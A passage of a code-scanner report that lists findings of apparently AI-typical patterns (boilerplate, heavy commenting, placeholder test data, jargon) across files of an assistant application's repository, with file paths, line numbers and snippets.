LOW	scripts/pr_blocker_audit.py	297	CODE
LOW	scripts/pr_blocker_audit.py	432	CODE
LOW	mcp_servers/memory_server.py	126	CODE
LOW	mcp_servers/rag_server.py	69	CODE
LOW	mcp_servers/image_gen_server.py	45	CODE
LOW	mcp_servers/email_server.py	233	CODE
LOW	mcp_servers/email_server.py	275	CODE
LOW	mcp_servers/email_server.py	376	CODE
LOW	mcp_servers/email_server.py	417	CODE
LOW	mcp_servers/email_server.py	504	CODE
409 more matches not shown…

Modern AI Meta-Vocabulary71 hits · 210 pts

Severity	File	Line	Snippet	Context
MEDIUM	requirements.txt	14	# Vector store + local embeddings for RAG, semantic memory, and tool	COMMENT
MEDIUM	build-macos-app.sh	132	# Wait for readiness (first run downloads an embedding model — allow ~2 min).	COMMENT
MEDIUM	requirements-optional.txt	4	# Note: chromadb-client + fastembed moved to requirements.txt — RAG, semantic	COMMENT
MEDIUM	requirements-optional.txt	28	# RAG index). markitdown (MIT, Microsoft) converts .docx/.xlsx/.pptx/.xls/.epub	COMMENT
MEDIUM	app.py	35	# 1463]), so the ONNX embedding model fails to load. huggingface_hub reads this	COMMENT
MEDIUM	app.py	545	# ========= RAG (vector document RAG) =========	COMMENT
MEDIUM	start-macos.sh	186	# ChromaDB backs the tool index and vector RAG. chromadb ships in the venv, so	COMMENT
MEDIUM	tests/test_task_shell_tools.py	3	Regression for #4163: the task runner built `relevant_tools` from RAG output	STRING
MEDIUM⚡	tests/test_task_shell_tools.py	40	assert "web_fetch" in tools # RAG-selected tool kept	CODE
MEDIUM	tests/test_task_shell_tools.py	103	# Degraded-index stand-in that still returns one RAG hit, so we can prove	COMMENT
MEDIUM	tests/test_task_shell_tools.py	147	# rest of the shell/file defaults and the RAG hit survive.	COMMENT
MEDIUM	tests/test_task_shell_tools.py	153	assert "web_fetch" in offered # RAG-selected tool preserved	CODE
MEDIUM	…/test_fenced_example_not_executed_for_native_models.py	48	# Skip RAG/tool-index, MCP, and settings lookups; keep the real loop body,	COMMENT
MEDIUM	tests/test_kv_cache_invalidation_2927.py	97	# in real life, minus any per-turn dynamic content (RAG/memory/web), which	COMMENT
MEDIUM	tests/test_agent_rounds_exhausted.py	33	# Skip RAG/tool-index, MCP, and settings lookups; keep the real loop body,	COMMENT
MEDIUM⚡	tests/test_context_budget.py	1	"""Issue #1170 — the agent input-token budget adapts to the model context window.	STRING
MEDIUM	tests/test_rag_remove_directory_scope.py	1	"""Regression guard for #1660 — removing one RAG directory must delete only that	STRING
MEDIUM	tests/test_tool_rag_keyword_hints.py	1	"""Regression for issue #1707 — the agent tool-RAG force-included the entire	STRING
MEDIUM	static/js/MODULE_SUMMARY.md	104	## 6. Knowledge, Memory, and RAG	COMMENT
MEDIUM	static/js/calendar.js	1173	// Drag on an empty cell to scaffold a new event for that range.	COMMENT
MEDIUM	routes/personal_routes.py	258	# Remove from RAG vector store (best-effort)	COMMENT
MEDIUM	routes/personal_routes.py	352	# Remove chunks from RAG vector store (best-effort)	COMMENT
MEDIUM	routes/auth_routes.py	452	# direct personal RAG uploads live in per-owner directories and the	COMMENT
MEDIUM⚡	routes/embedding_routes.py	302	# Reset the RAG singleton so it picks up the new endpoint	COMMENT
MEDIUM⚡	routes/embedding_routes.py	346	# Reset the RAG singleton so it falls back to fastembed	COMMENT
MEDIUM	routes/document_routes.py	902	# Detect email-scaffold stubs: "To: \nSubject: \n---\n" style	COMMENT
MEDIUM	routes/session_routes.py	1170	# all 100+ chats to one LLM call blows the context window, makes	COMMENT
MEDIUM	routes/chat_helpers.py	752	# or personal-doc RAG on every turn pulls in keyword-matched but off-topic	COMMENT
MEDIUM	routes/chat_helpers.py	758	# Use RAG?	COMMENT
MEDIUM	routes/skills_routes.py	1614	# candidates so the event-driven Skills Audit pipeline still runs.	COMMENT
MEDIUM	routes/note/note_routes.py	229	# prose=True strips untagged "The user wants me to…" chain-of-thought.	COMMENT
MEDIUM	services/memory/skill_extractor.py	217	# chain-of-thought BEFORE the JSON output even when asked for	COMMENT
MEDIUM	src/teacher_escalation.py	645	# tried. The appended note leads with the user request text so RAG	COMMENT
MEDIUM	src/personal_docs.py	216	self.excluded_files: Set[str] = set() # Files removed from RAG listing	CODE
MEDIUM	src/personal_docs.py	297	# If RAG manager is available, index the directory immediately.	COMMENT
MEDIUM	src/tool_index.py	37	# of topic. Without this, RAG drops it and the agent falls back to	COMMENT
MEDIUM	src/tool_index.py	48	# check-ins and proactive tasks, in addition to RAG-selected tools.	COMMENT
MEDIUM	src/tool_index.py	192	# Without this, upsert leaves them in place and RAG keeps	COMMENT
MEDIUM	src/tool_index.py	269	# Include server identity in the indexed text so RAG can	COMMENT
MEDIUM⚡	src/task_scheduler.py	1616	# RAG-select relevant tools for this prompt + always-available assistant tools.	COMMENT
MEDIUM	src/task_scheduler.py	28	# setting turns them off). The RAG tool selector + ASSISTANT_ALWAYS_AVAILABLE	COMMENT
MEDIUM	src/task_scheduler.py	1654	# Strip the model's chain-of-thought before saving/delivering. Task	COMMENT
MEDIUM	src/context_compactor.py	40	COMPACT_THRESHOLD = 0.85 # Trigger compaction at 85% of context window	CODE
MEDIUM	src/context_compactor.py	256	# Priority: keep first system msg (preset prompt), drop others (memory, RAG, memo).	COMMENT
MEDIUM⚡	src/ai_interaction.py	510	# RAG management tool	COMMENT
MEDIUM	src/app_initializer.py	59	# Initialize memory vector store (share embedding model with RAG if available)	COMMENT
MEDIUM	src/agent_loop.py	865	# Legacy: full prompt with all tools (fallback when RAG unavailable)	COMMENT
MEDIUM	src/agent_loop.py	2047	# With RAG tools, cache key includes the selected tools	COMMENT
MEDIUM	src/agent_loop.py	2630	# RAG mode: trust the relevant_tools set as already-composed.	COMMENT
MEDIUM	src/agent_loop.py	2642	# Fallback: full prompt (RAG unavailable)	COMMENT
MEDIUM	src/agent_loop.py	2827	# web/RAG context. THREAT_MODEL.md lists tool output as a surface that	COMMENT
MEDIUM	src/agent_loop.py	3309	# RAG-based tool selection: retrieve relevant tools for this query.	COMMENT
MEDIUM	src/agent_loop.py	3322	# actually calls for them (RAG retrieval adds those on a real ask).	COMMENT
MEDIUM	src/agent_loop.py	3328	# Don't short-circuit: fall through to RAG retrieval below.	COMMENT
MEDIUM	src/agent_loop.py	3382	# Fallback: if RAG unavailable, use keyword-based tool selection	COMMENT
MEDIUM	src/agent_loop.py	3437	# regardless of which selection path (RAG, keyword, caller-provided) ran.	COMMENT
MEDIUM	src/agent_loop.py	3466	# settings make web tools visible even when tool RAG misses them;	COMMENT
MEDIUM	src/agent_loop.py	3903	# Filter schemas by RAG-selected tools (if available)	COMMENT
MEDIUM	src/agent_loop.py	4377	# The model is finishing. If this was an effectful agentic turn,	COMMENT
MEDIUM	src/agent_loop.py	4693	# RAG-selected this turn (declared via requires_toolsets in its	COMMENT
11 more matches not shown…

Modern Structural Boilerplate161 hits · 160 pts

Severity	File	Line	Snippet	Context
LOW	app.py	115	logger = logging.getLogger(__name__)	CODE
LOW	core/auth.py	19	logger = logging.getLogger(__name__)	CODE
LOW	core/database.py	17	logger = logging.getLogger(__name__)	CODE
LOW	core/session_manager.py	25	logger = logging.getLogger(__name__)	CODE
LOW	core/__init__.py	32	__all__ = [	CODE
LOW	scripts/index_documents.py	33	logger = logging.getLogger(__name__)	CODE
LOW	routes/email_pollers.py	45	logger = logging.getLogger(__name__)	CODE
LOW	routes/signature_routes.py	21	logger = logging.getLogger(__name__)	CODE
LOW	routes/tts_routes.py	11	logger = logging.getLogger(__name__)	CODE
LOW	routes/mcp_routes.py	19	logger = logging.getLogger(__name__)	CODE
LOW	routes/chatgpt_subscription_routes.py	20	logger = logging.getLogger(__name__)	CODE
LOW⚡	routes/email_routes.py	107	def _set_email_writing_style_for_account(settings: dict, style: str, account_id: str \| None = None) -> None:	CODE
LOW	routes/email_routes.py	67	logger = logging.getLogger(__name__)	CODE
LOW	routes/backup_routes.py	12	logger = logging.getLogger(__name__)	CODE
LOW	routes/copilot_routes.py	40	logger = logging.getLogger(__name__)	CODE
LOW	routes/webhook_routes.py	16	logger = logging.getLogger(__name__)	CODE
LOW	routes/cookbook_helpers.py	19	logger = logging.getLogger(__name__)	CODE
LOW	routes/vault_routes.py	22	logger = logging.getLogger(__name__)	CODE
LOW	routes/personal_routes.py	19	logger = logging.getLogger(__name__)	CODE
LOW	routes/shell_routes.py	106	logger = logging.getLogger(__name__)	CODE
LOW	routes/email_helpers.py	40	logger = logging.getLogger(__name__)	CODE
LOW	routes/editor_draft_routes.py	30	logger = logging.getLogger(__name__)	CODE
LOW	routes/task_routes.py	25	logger = logging.getLogger(__name__)	CODE
LOW	routes/auth_routes.py	38	logger = logging.getLogger(__name__)	CODE
LOW	routes/embedding_routes.py	14	logger = logging.getLogger(__name__)	CODE
LOW	routes/document_routes.py	17	logger = logging.getLogger(__name__)	CODE
LOW	routes/stt_routes.py	9	logger = logging.getLogger(__name__)	CODE
LOW	routes/cookbook_routes.py	47	logger = logging.getLogger(__name__)	CODE
LOW	routes/cookbook_routes.py	658	def set_flag(flag: str, value: str) -> None:	CODE
LOW	routes/cookbook_routes.py	726	def set_flag(flag: str, value: str) -> None:	CODE
LOW	routes/preset_routes.py	15	logger = logging.getLogger(__name__)	CODE
LOW	routes/upload_routes.py	33	logger = logging.getLogger(__name__)	CODE
LOW	routes/session_routes.py	125	logger = logging.getLogger(__name__)	CODE
LOW	routes/diagnostics_routes.py	13	logger = logging.getLogger(__name__)	CODE
LOW	routes/emoji_routes.py	23	logger = logging.getLogger(__name__)	CODE
LOW	routes/chat_routes.py	53	logger = logging.getLogger(__name__)	CODE
LOW	routes/chat_routes.py	556	def _set_user_time_from_request(request: Request) -> None:	CODE
LOW	routes/document_helpers.py	18	logger = logging.getLogger(__name__)	CODE
LOW	routes/model_routes.py	34	logger = logging.getLogger(__name__)	CODE
LOW	routes/chat_helpers.py	26	logger = logging.getLogger(__name__)	CODE
LOW	routes/calendar_routes.py	20	logger = logging.getLogger(__name__)	CODE
LOW	routes/skills_routes.py	23	logger = logging.getLogger(__name__)	CODE
LOW⚡	routes/research/research_routes.py	72	logger = logging.getLogger(__name__)	CODE
LOW⚡	routes/note/note_routes.py	19	logger = logging.getLogger(__name__)	CODE
LOW	routes/memory/memory_routes.py	35	logger = logging.getLogger(__name__)	CODE
LOW	routes/gallery/gallery_helpers.py	16	logger = logging.getLogger(__name__)	CODE
LOW	routes/gallery/gallery_routes.py	30	logger = logging.getLogger(__name__)	CODE
LOW	routes/contacts/contacts_routes.py	28	logger = logging.getLogger(__name__)	CODE
LOW	routes/search/search_routes.py	14	logger = logging.getLogger(__name__)	CODE
LOW	routes/cleanup/cleanup_routes.py	8	logger = logging.getLogger(__name__)	CODE
LOW	routes/history/history_routes.py	23	logger = logging.getLogger(__name__)	CODE
LOW	routes/compare/compare_routes.py	17	logger = logging.getLogger(__name__)	CODE
LOW	routes/admin_wipe/admin_wipe_routes.py	36	logger = logging.getLogger(__name__)	CODE
LOW	services/__init__.py	17	__all__ = [	CODE
LOW	services/research/research_handler.py	20	logger = logging.getLogger(__name__)	CODE
LOW	services/research/__init__.py	7	__all__ = [	CODE
LOW	services/memory/memory_extractor.py	20	logger = logging.getLogger(__name__)	CODE
LOW	services/memory/skill_extractor.py	13	logger = logging.getLogger(__name__)	CODE
LOW	services/memory/memory_vector.py	5	__all__ = ["MemoryVectorStore"]	CODE
LOW⚡	services/memory/skill_format.py	56	logger = logging.getLogger(__name__)	CODE
101 more matches not shown…

Over-Commented Block153 hits · 138 pts

Severity	File	Line	Snippet	Context
LOW	requirements.txt	21	youtube-transcript-api	COMMENT
LOW	docker-compose.gpu-nvidia.yml	1	# Standalone NVIDIA GPU Compose file for stack-management UIs (Portainer,	COMMENT
LOW	build-macos-app.sh	1	#!/bin/bash	COMMENT
LOW	requirements-optional.txt	1	# Optional dependencies — install only if you use the corresponding feature.	COMMENT
LOW	requirements-optional.txt	21	# value/annotation/signature stamping, page rendering for the form overlay).	COMMENT
LOW	docker-compose.gpu-amd.yml	1	# Standalone AMD ROCm GPU Compose file for stack-management UIs (Portainer,	COMMENT
LOW	app.py	361	# answered. AuthMiddleware is the outermost middleware, so gating the	COMMENT
LOW	app.py	541	# ========= YOUTUBE INIT =========	COMMENT
LOW	start-macos.sh	1	#!/bin/bash	COMMENT
LOW	start-macos.sh	81	if "$p" -c 'import sys; raise SystemExit(0 if sys.version_info[:2] >= (3, 11) else 1)' 2>/dev/null; then	COMMENT
LOW	docker/gpu.amd.yml	1	# AMD ROCm GPU overlay. Enable by setting COMPOSE_FILE in .env:	COMMENT
LOW	docker/gpu.nvidia.yml	1	# NVIDIA GPU overlay. Enable by setting COMPOSE_FILE in .env:	COMMENT
LOW	docker/entrypoint.sh	1	#!/bin/sh	COMMENT
LOW	docker/entrypoint.sh	101	done	COMMENT
LOW	docker/build-realesrgan-wheels.sh	1	#!/usr/bin/env bash	COMMENT
LOW	core/database.py	1881		COMMENT
LOW	static/app.js	1181	'/email': () => {	COMMENT
LOW	static/sw.js	1	// static/sw.js — Odysseus PWA Service Worker	COMMENT
LOW	static/js/chatRenderer.js	401	ta.value = '';	COMMENT
LOW	static/js/chatRenderer.js	1141	return String(text).replace(/#document-(\d+)\b/g, (match, num) => {	COMMENT
LOW	static/js/chatRenderer.js	2461	// The self-wake mechanism injects "Did you finish?" as a user message	COMMENT
LOW	static/js/galleryEditor.js	161		COMMENT
LOW	static/js/galleryEditor.js	181	// Lasso state	COMMENT
LOW	static/js/galleryEditor.js	201	// slider edits this layer's alpha edge live.	COMMENT
LOW	static/js/galleryEditor.js	621	}	COMMENT
LOW	static/js/galleryEditor.js	681	}	COMMENT
LOW	static/js/galleryEditor.js	841	// sub-layers (plus any staged-in-progress edit). Falls back to	COMMENT
LOW	static/js/galleryEditor.js	1381	const _refreshHistoryPanelIfOpen = _historyPanel.refreshHistoryPanelIfOpen;	COMMENT
LOW	static/js/galleryEditor.js	1461	// popup re-uses the existing #ge-inpaint-prompt and #ge-inpaint-run	COMMENT
LOW	static/js/galleryEditor.js	1801	* working unchanged.	COMMENT
LOW	static/js/galleryEditor.js	2981	}	COMMENT
LOW	static/js/galleryEditor.js	3141	container.appendChild(editorBody);	COMMENT
LOW	static/js/galleryEditor.js	3161		COMMENT
LOW	static/js/galleryEditor.js	3221	// Fill — visible only when a selection or active mask exists. Pours	COMMENT
LOW	static/js/galleryEditor.js	3721	}	COMMENT
LOW	static/js/modalSnap.js	1	// Right-edge snap docking for draggable modals.	COMMENT
LOW	static/js/cookbookServe.js	1501	: `This model's download isn't complete yet (${esc(m.size \|\| 'partial')}). The serve will start but is likely	COMMENT
LOW	static/js/cookbookServe.js	1521	// Default CPU — works on every host without GPU/wheel matching	COMMENT
LOW	static/js/cookbookServe.js	1561	// Show the GGUF File dropdown for BOTH llama.cpp and Ollama — Ollama	COMMENT
LOW	static/js/cookbookServe.js	1681	// Parser was previously in a separate row below; the user wanted	COMMENT
LOW	static/js/cookbookServe.js	1781	panelHtml += `</div><div class="hwfit-serve-row hwfit-backend-diffusers hwfit-backend-mlx_image hwfit-diff-harmoni	COMMENT
LOW	static/js/cookbookServe.js	3421	}	COMMENT
LOW	static/js/cookbookServe.js	3581	// Network / probe failure — don't block. Better to let the launch	COMMENT
LOW	static/js/cookbookServe.js	3661	// Resolve the target host from the visible Server dropdown — the reliable	COMMENT
LOW	static/js/cookbookServe.js	3961	}	COMMENT
LOW	static/js/ui.js	941	document.addEventListener('touchstart', (e) => {	COMMENT
LOW	static/js/ui.js	1201	try { el.scrollIntoView(); } catch {}	COMMENT
LOW	static/js/cookbook.js	581	// CUDA_VISIBLE_DEVICES; ROCm/HIP uses HIP_VISIBLE_DEVICES; Vulkan and	COMMENT
LOW	static/js/cookbook.js	1181	// category tag. llama_cpp uses the /api/cookbook/rebuild-engine flow	COMMENT
LOW	static/js/cookbook.js	3401	if (_ds) { _envState.remoteHost = _ds.host; _envState.env = _ds.env \|\| 'none'; _envState.envPath = _ds.envPath \|\|	COMMENT
LOW	static/js/notes.js	2221	// Clicking todo item text now toggles its checkbox — let the click bubble	COMMENT
LOW	static/js/cookbookSchedule.js	1	// Cookbook Schedule — opens a small inline form (styled with the app's	COMMENT
LOW	static/js/cookbookSchedule.js	81	// Resolve the model identity from the closest .memory-item card —	COMMENT
LOW	static/js/cookbookRunning.js	221	}, 80);	COMMENT
LOW	static/js/cookbookRunning.js	3221	};	COMMENT
LOW	static/js/cookbookRunning.js	3341	const _dlAggMatches = [...snapshot.matchAll(/Downloading\s$incomplete[^)]$:\s*(\d+)%/g)];	COMMENT
LOW	static/js/cookbookRunning.js	4181	}	COMMENT
LOW	static/js/section-management.js	41	if (willCollapse) {	COMMENT
LOW	static/js/slashAutocomplete.js	1	// static/js/slashAutocomplete.js	COMMENT
LOW	static/js/sessions.js	1741	targetId = savedId;	COMMENT
93 more matches not shown…

Cross-File Repetition13 hits · 65 pts

Severity	File	Snippet	Context
HIGH	tests/test_skills_manager_owner_isolation.py	\ --- name: {name} description: original description version: 1.0.0 category: {category} tags: [] status: draft confiden	STRING
HIGH	tests/test_skills_routes_owner_update.py	\ --- name: {name} description: original description version: 1.0.0 category: {category} tags: [] status: draft confiden	STRING
HIGH	tests/test_skills_delete_owner.py	\ --- name: {name} description: original description version: 1.0.0 category: {category} tags: [] status: draft confiden	STRING
HIGH	tests/test_skill_save_no_rename.py	\ --- name: {name} description: original description version: 1.0.0 category: {category} tags: [] status: draft confiden	STRING
HIGH	tests/test_provider_detection_host_match.py	provider detection tests — build_chat_url / build_models_url routing (re: #768). these import the real helpers from ``	STRING
HIGH	tests/test_provider_detection_detect.py	provider detection tests — build_chat_url / build_models_url routing (re: #768). these import the real helpers from ``	STRING
HIGH	tests/test_provider_detection_builders.py	provider detection tests — build_chat_url / build_models_url routing (re: #768). these import the real helpers from ``	STRING
HIGH	tests/test_email_owner_scope.py	insert or replace into email_summaries (message_id, owner, uid, folder, subject, sender, summary, model_used, created_at	STRING
HIGH	routes/email_pollers.py	insert or replace into email_summaries (message_id, owner, uid, folder, subject, sender, summary, model_used, created_at	STRING
HIGH	routes/email_routes.py	insert or replace into email_summaries (message_id, owner, uid, folder, subject, sender, summary, model_used, created_at	STRING
HIGH	tests/test_email_owner_scope.py	insert or replace into email_ai_replies (message_id, owner, uid, folder, reply, model_used, created_at) values (?, ?, ?,	STRING
HIGH	routes/email_pollers.py	insert or replace into email_ai_replies (message_id, owner, uid, folder, reply, model_used, created_at) values (?, ?, ?,	STRING
HIGH	routes/email_routes.py	insert or replace into email_ai_replies (message_id, owner, uid, folder, reply, model_used, created_at) values (?, ?, ?,	STRING

AI Slop Vocabulary19 hits · 46 pts

Severity	File	Line	Snippet	Context
MEDIUM	build-macos-app.sh	34	# let sips emit the .icns directly — more robust across macOS versions than	COMMENT
LOW	start-macos.sh	72	# (or non-mac) we just use whatever Python 3.11+ is on PATH.	COMMENT
MEDIUM	core/database.py	300	# Library + search. Owning the row directly is robust against that.	COMMENT
MEDIUM	core/database.py	2464	"""Get comprehensive database statistics including file size"""	STRING
MEDIUM⚡	tests/test_markdown_rendering_js.py	254	# same way; they need KaTeX/sanitizer conditions this harness doesn't set up.	STRING
MEDIUM	tests/test_companion_readonly.py	24	# import is robust regardless of collection order.	COMMENT
MEDIUM	tests/test_backup_import_skills_dedup.py	18	# via monkeypatch — robust to import order and reverted at teardown. (Stubbing	COMMENT
MEDIUM	tests/test_chat_metrics.py	23	# --- captured-stream harness (mirrors test_llm_core_streaming.py) -----------	COMMENT
MEDIUM	static/js/spinner.js	206	// Rotating a single continuous spiral keeps the loop seamless: the start	COMMENT
MEDIUM	static/js/windowResize.js	10	// inner element. Absolutely-positioned handle children would scroll away	COMMENT
MEDIUM	static/js/slashCommands.js	2372	// via .closest(selector) — more robust than t.contains(e.target) when	COMMENT
MEDIUM	scripts/add_hwfit_models.py	269	# Next-to-last resort: parse config.json. This is robust against	COMMENT
MEDIUM	routes/cookbook_routes.py	1058	# also breaks robust resume on flaky transfers — the blob-based hub	COMMENT
MEDIUM	services/search/service.py	69	# `fetch_content` is accepted for API compatibility; the comprehensive	COMMENT
MEDIUM	services/search/core.py	262	"""Perform comprehensive web search with content fetching and advanced filtering."""	STRING
MEDIUM	src/document_actions.py	69	# Documents now carry their own owner column (robust to a deleted	COMMENT
MEDIUM⚡	src/llm_core.py	957	# harness size. Character presets can ask for a warmer voice, but	COMMENT
MEDIUM⚡	src/deep_research.py	707	"""Let the LLM decide whether the report is comprehensive enough."""	STRING
LOW	src/agent_tools/session_tools.py	312	# just return a clickable anchor link the user can click. The	COMMENT

Fake / Example Data44 hits · 42 pts

Severity	File	Line	Snippet	Context
LOW⚡	tests/test_imap_leak_fixes.py	51	result = helpers._fetch_sender_thread_context("user@example.com")	CODE
LOW⚡	tests/test_imap_leak_fixes.py	68	result = helpers._fetch_sender_thread_context("user@example.com")	CODE
LOW⚡	tests/test_imap_leak_fixes.py	255	"imap_user": "user@example.com",	CODE
LOW	tests/test_imap_leak_fixes.py	308	"imap_user": "user@example.com", "imap_password": "wrong",	CODE
LOW	tests/test_imap_leak_fixes.py	358	"smtp_security": security, "smtp_user": "user@example.com",	CODE
LOW	tests/test_email_imap_timeout.py	111	"imap_user": "user@example.com",	CODE
LOW	tests/test_email_imap_timeout.py	125	assert captured["login"] == ("user@example.com", "pw")	CODE
LOW⚡	tests/test_email_oauth.py	41	state = make_oauth_state("acct-123", "user@example.com")	CODE
LOW⚡	tests/test_email_oauth.py	46	assert payload["o"] == "user@example.com"	CODE
LOW⚡	tests/test_email_oauth.py	61	state = make_oauth_state("acct-123", "user@example.com")	CODE
LOW⚡	tests/test_email_oauth.py	76	state = make_oauth_state("acct-123", "user@example.com")	CODE
LOW⚡	tests/test_model_context.py	87	api_key="fake-key",	CODE
LOW	tests/test_model_context.py	251	api_key="fake-key",	CODE
LOW⚡	tests/test_model_routes.py	464	ep = SimpleNamespace(endpoint_kind="auto", api_key="fake-key")	CODE
LOW⚡	tests/test_model_routes.py	1918	api_key="fake-key",	CODE
LOW⚡	tests/test_model_routes.py	1927	"api_key": "fake-key",	CODE
LOW⚡	tests/test_model_routes.py	1975	"api_key": "fake-key",	CODE
LOW⚡	tests/test_model_routes.py	1990	api_key="fake-key",	CODE
LOW	tests/test_model_routes.py	514	result = _ping_endpoint("http://100.117.136.97:34521/v1", "fake-key", timeout=1)	CODE
LOW	tests/test_model_routes.py	1697	api_key="fake-key",	CODE
LOW	tests/test_model_routes.py	1730	api_key="fake-key",	CODE
LOW	tests/test_model_routes.py	1755	api_key="fake-key",	CODE
LOW	tests/test_model_routes.py	1780	api_key="fake-key",	CODE
LOW	tests/test_model_routes.py	1957	api_key="fake-key",	CODE
LOW	tests/test_model_routes.py	2021	"api_key": "fake-key",	CODE
LOW	tests/test_model_routes.py	2071	api_key="fake-key",	CODE
LOW⚡	tests/test_sender_signature_skip_roles.py	20	assert _skipped("admin@example.org")	CODE
LOW⚡	tests/test_shell_routes.py	460	assert _ssh_base_argv("user@example.com", None) == [	CODE
LOW⚡	tests/test_shell_routes.py	466	"user@example.com",	CODE
LOW⚡	tests/test_email_send_only_no_inbox.py	26	"smtp_user": "noreply@example.org",	CODE
LOW⚡	tests/test_email_send_only_no_inbox.py	33	"from_address": "noreply@example.org",	CODE
LOW⚡	tests/test_api_token_routes.py	290	fake_token = SimpleNamespace(id="abcd1234", owner="alice", name="test")	CODE
LOW⚡	tests/test_api_token_routes.py	292	fake_session.query.return_value.filter.return_value.first.return_value = fake_token	CODE
LOW⚡	tests/test_api_token_routes.py	301	fake_session.delete.assert_called_once_with(fake_token)	CODE
LOW⚡	tests/test_api_token_routes.py	454	fake_token = SimpleNamespace(id="tok123", owner="alice", name="alice-token")	CODE
LOW⚡	tests/test_api_token_routes.py	456	fake_session.query.return_value.filter.return_value.first.return_value = fake_token	CODE
LOW⚡	tests/test_api_token_routes.py	494	fake_token = SimpleNamespace(id="tok123", owner="alice", name="alice-token")	CODE
LOW⚡	tests/test_api_token_routes.py	496	fake_session.query.return_value.filter.return_value.first.return_value = fake_token	CODE
LOW⚡	tests/test_api_token_routes.py	504	fake_session.delete.assert_called_once_with(fake_token)	CODE
LOW	tests/test_hwfit_container_visibility_warning.py	80	out = hardware._attach_probe_context(result, host="user@example.com")	CODE
LOW	static/app.js	2396	textarea.setAttribute('placeholder', 'Swipe to toggle plan');	CODE
LOW	static/app.js	2399	textarea.setAttribute('placeholder', width < PLACEHOLDER_COMPACT_WIDTH ? 'Message...' : 'Message Odysseus...');	CODE
LOW	static/lib/html2pdf.bundle.min.js	2	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.am	CODE
LOW	static/lib/highlight.min.js	317	}),re=["a","abbr","address","article","aside","audio","b","blockquote","body","button","canvas","caption","cite","code",	CODE

Cross-Language Confusion (JS/TS)5 hits · 32 pts

Severity	File	Line	Snippet	Context
HIGH	static/js/cookbookDownload.js	165	elif t>=1048576: ds=f'{s.n/1048576:.1f}';ts=f'{t/1048576:.1f}MB';ss=f'{sp/1048576:.1f}MB/s'	CODE
HIGH	static/js/cookbookDownload.js	168	print(f'FILE {d} [{bar}] {p}% {ds}/{ts} {ss}',flush=True)	CODE
HIGH⚡	static/js/cookbookDownload.js	188	print(f'START {repo}',flush=True)	CODE
HIGH⚡	static/js/cookbookDownload.js	191	print(f'DONE {path}',flush=True)	CODE
HIGH⚡	static/js/cookbookDownload.js	193	print(f'ERROR {e}',file=sys.stderr,flush=True);sys.exit(1)	CODE

Redundant / Tautological Comments20 hits · 28 pts

Severity	File	Line	Snippet	Context
LOW	core/database.py	1498	# Check if prompt/schedule/scheduled_time are still NOT NULL — need table rebuild	COMMENT
LOW	tests/test_api_key_manager_atomic_save.py	65	# Close the file then raise	COMMENT
LOW	tests/test_tts_service_enforce_cache_limit.py	27	# Set limit to 100 bytes. 80% target capacity will be 80 bytes.	COMMENT
LOW	tests/test_chat_route_tool_policy.py	48	# Check if 'body' appears in the value	COMMENT
LOW	scripts/diffusion_server.py	529	# Check if it's a HF repo with a single safetensors file	COMMENT
LOW	scripts/diffusion_server.py	900	# Check if the main pipeline IS already an inpaint pipeline	COMMENT
LOW	scripts/index_documents.py	54	# Check if directory exists	COMMENT
LOW	scripts/index_documents.py	87	# Display results	COMMENT
LOW	routes/mcp_routes.py	256	# Check if OAuth token already exists — skip connection attempt if not	COMMENT
LOW	routes/shell_routes.py	617	# Set master to non-blocking	COMMENT
LOW	routes/shell_routes.py	824	# Check if tmux session is still alive	COMMENT
LOW	routes/document_routes.py	652	# Check if we can coalesce with the latest version	COMMENT
LOW	routes/cookbook_routes.py	4313	# Check if session is alive + capture output	COMMENT
LOW	routes/cookbook_routes.py	2060	ps_lines.append('# Check if ollama is available')	CODE
LOW	src/config.py	194	# Check if LLM host is reachable if specified	COMMENT
LOW	src/config.py	199	# Check if API keys are set when needed	COMMENT
LOW	src/memory.py	325	# Check if this is an identity memory (contains name patterns or identity indicators)	COMMENT
LOW	src/tool_execution.py	96	# Check if any path component is a sensitive directory.	COMMENT
LOW	src/upload_handler.py	1185	# Check if file type is safe	COMMENT
LOW	src/integrations.py	615	# Check if a miniflux integration already exists	COMMENT

Verbosity Indicators16 hits · 27 pts

Severity	File	Line	Snippet	Context
LOW	static/js/group.js	528	// Step 2: Character assignment	COMMENT
LOW⚡	static/js/documentLibrary.js	1017	// Step 1: switch session if needed and wait for it to load	COMMENT
LOW⚡	static/js/documentLibrary.js	1025	// Step 2: ensure doc is in tabs	COMMENT
LOW⚡	static/js/documentLibrary.js	1035	// Step 3: open panel (slide-in is handled by openPanel)	COMMENT
LOW	static/js/editor/tools/lasso-mask.js	75	// Step 1: draw hard mask	COMMENT
LOW	static/js/editor/tools/lasso-mask.js	111	// Step 2: pixel data and distance-based feather.	COMMENT
LOW⚡	scripts/check-docker-gpu.sh	525	# Step 1: prerequisites	COMMENT
LOW⚡	scripts/check-docker-gpu.sh	533	# Step 2: signing key	COMMENT
LOW⚡	scripts/check-docker-gpu.sh	541	# Step 3: apt repository	COMMENT
LOW⚡	scripts/check-docker-gpu.sh	550	# Step 4: install toolkit	COMMENT
LOW⚡	scripts/check-docker-gpu.sh	558	# Step 5: configure Docker runtime	COMMENT
LOW⚡	scripts/check-docker-gpu.sh	565	# Step 6: restart Docker	COMMENT
LOW⚡	scripts/check-docker-gpu.sh	587	# Step 7: verification	COMMENT
LOW⚡	scripts/check-docker-gpu.sh	593	# Step 8: enable overlay (only if passthrough verified)	COMMENT
LOW	src/agent_loop.py	3608	# Step 1: per-endpoint override (set at registration time from the	COMMENT
LOW	src/deep_research.py	166	- Then the detailed steps: ## Step 1: ..., ## Step 2: ...	CODE

Structural Annotation Overuse15 hits · 25 pts

Severity	File	Line	Snippet	Context
LOW	static/js/group.js	528	// Step 2: Character assignment	COMMENT
LOW⚡	static/js/documentLibrary.js	1017	// Step 1: switch session if needed and wait for it to load	COMMENT
LOW⚡	static/js/documentLibrary.js	1025	// Step 2: ensure doc is in tabs	COMMENT
LOW⚡	static/js/documentLibrary.js	1035	// Step 3: open panel (slide-in is handled by openPanel)	COMMENT
LOW	static/js/editor/tools/lasso-mask.js	75	// Step 1: draw hard mask	COMMENT
LOW	static/js/editor/tools/lasso-mask.js	111	// Step 2: pixel data and distance-based feather.	COMMENT
LOW⚡	scripts/check-docker-gpu.sh	525	# Step 1: prerequisites	COMMENT
LOW⚡	scripts/check-docker-gpu.sh	533	# Step 2: signing key	COMMENT
LOW⚡	scripts/check-docker-gpu.sh	541	# Step 3: apt repository	COMMENT
LOW⚡	scripts/check-docker-gpu.sh	550	# Step 4: install toolkit	COMMENT
